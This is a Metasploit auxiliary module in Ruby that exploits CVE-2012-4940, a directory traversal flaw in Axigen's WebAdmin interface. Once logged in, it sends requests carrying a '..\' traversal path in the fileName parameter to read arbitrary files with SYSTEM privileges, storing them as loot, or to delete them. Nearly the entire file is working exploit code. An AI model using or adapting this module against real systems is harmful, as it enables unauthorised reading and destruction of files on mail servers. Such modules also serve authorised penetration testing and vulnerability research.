1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Axigen Arbitrary File Read and Delete',
14
        'Description' => %q{
15
          This module exploits a directory traversal vulnerability in the WebAdmin
16
          interface of Axigen, which allows an authenticated user to read and delete
17
          arbitrary files with SYSTEM privileges. The vulnerability is known to work on
18
          Windows platforms. This module has been tested successfully on Axigen 8.10 over
19
          Windows 2003 SP2.
20
        },
21
        'Author' => [
22
          'Zhao Liang', # Vulnerability discovery
23
          'juan vazquez' # Metasploit module
24
        ],
25
        'License' => MSF_LICENSE,
26
        'References' => [
27
          [ 'US-CERT-VU', '586556' ],
28
          [ 'CVE', '2012-4940' ],
29
          [ 'OSVDB', '86802' ]
30
        ],
31
        'Actions' => [
32
          ['Read', { 'Description' => 'Read remote file' }],
33
          ['Delete', { 'Description' => 'Delete remote file' }]
34
        ],
35
        'DefaultAction' => 'Read',
36
        'DisclosureDate' => '2012-10-31',
37
        'Notes' => {
38
          'Stability' => [OS_RESOURCE_LOSS],
39
          'SideEffects' => [IOC_IN_LOGS],
40
          'Reliability' => []
41
        }
42
      )
43
    )
44

45
    register_options(
46
      [
47
        Opt::RPORT(9000),
48
        OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),
49
        OptString.new('TARGETURI', [ true, 'Path to Axigen WebAdmin', '/' ]),
50
        OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
51
        OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
52
        OptString.new('PATH', [ true, 'The file to read or delete', '\\windows\\win.ini' ])
53
      ]
54
    )
55
  end
56

57
  def run
58
    print_status('Trying to login')
59
    if login
60
      print_good('Login Successful')
61
    else
62
      print_error('Login failed, review USERNAME and PASSWORD options')
63
      return
64
    end
65

66
    @traversal = '../' * 10
67
    file = datastore['PATH']
68
    @platform = get_platform
69

70
    if @platform == 'windows'
71
      @traversal.gsub!(%r{/}, '\\')
72
      file.gsub!(%r{/}, '\\')
73
    else # unix
74
      print_error('*nix platform detected, vulnerability is only known to work on Windows')
75
      return
76
    end
77

78
    case action.name
79
    when 'Read'
80
      read_file(datastore['PATH'])
81
    when 'Delete'
82
      delete_file(datastore['PATH'])
83
    end
84
  end
85

86
  def read_file(file)
87
    print_status('Retrieving file contents...')
88

89
    res = send_request_cgi(
90
      {
91
        'uri' => normalize_uri(target_uri.path, 'sources', 'logging', 'page_log_file_content.hsp'),
92
        'method' => 'GET',
93
        'cookie' => "_hadmin=#{@session}",
94
        'vars_get' => {
95
          '_h' => @token,
96
          'fileName' => "#{@traversal}#{file}"
97
        }
98
      }
99
    )
100

101
    if res && (res.code == 200) && res.headers['Content-Type'] && !res.body.empty?
102
      store_path = store_loot('axigen.webadmin.data', 'application/octet-stream', rhost, res.body, file)
103
      print_good("File successfully retrieved and saved on #{store_path}")
104
    else
105
      print_error('Failed to retrieve file')
106
    end
107
  end
108

109
  def delete_file(file)
110
    print_status("Deleting file #{file}")
111

112
    res = send_request_cgi(
113
      {
114
        'uri' => normalize_uri(target_uri.path),
115
        'method' => 'GET',
116
        'cookie' => "_hadmin=#{@session}",
117
        'vars_get' => {
118
          '_h' => @token,
119
          'page' => 'vlf',
120
          'action' => 'delete',
121
          'fileName' => "#{@traversal}#{file}"
122
        }
123
      }
124
    )
125

126
    if res && (res.code == 200) && res.body =~ /View Log Files/
127
      print_good("File #{file} deleted")
128
    else
129
      print_error("Error deleting file #{file}")
130
    end
131
  end
132

133
  def get_platform
134
    print_status('Retrieving platform')
135

136
    res = send_request_cgi(
137
      {
138
        'uri' => normalize_uri(target_uri.path),
139
        'method' => 'GET',
140
        'cookie' => "_hadmin=#{@session}",
141
        'vars_get' => {
142
          '_h' => @token
143
        }
144
      }
145
    )
146

147
    if res && (res.code == 200)
148
      if res.body =~ /Windows/
149
        print_good('Windows platform found')
150
        return 'windows'
151
      elsif res.body =~ /Linux/
152
        print_good('Linux platform found')
153
        return 'unix'
154
      end
155
    end
156

157
    print_warning('Platform not found, assuming UNIX flavor')
158
    return 'unix'
159
  end
160

161
  def login
162
    res = send_request_cgi(
163
      {
164
        'uri' => normalize_uri(target_uri.path),
165
        'method' => 'POST',
166
        'vars_post' => {
167
          'username' => datastore['USERNAME'],
168
          'password' => datastore['PASSWORD'],
169
          'submit' => 'Login',
170
          'action' => 'login'
171
        }
172
      }
173
    )
174

175
    if res && (res.code == 303) && res.headers['Location'] =~ /_h=([a-f0-9]*)/
176
      @token = ::Regexp.last_match(1)
177
      if res.get_cookies =~ /_hadmin=([a-f0-9]*)/
178
        @session = ::Regexp.last_match(1)
179
        return true
180
      end
181
    end
182

183
    return false
184
  end
185
end
186

187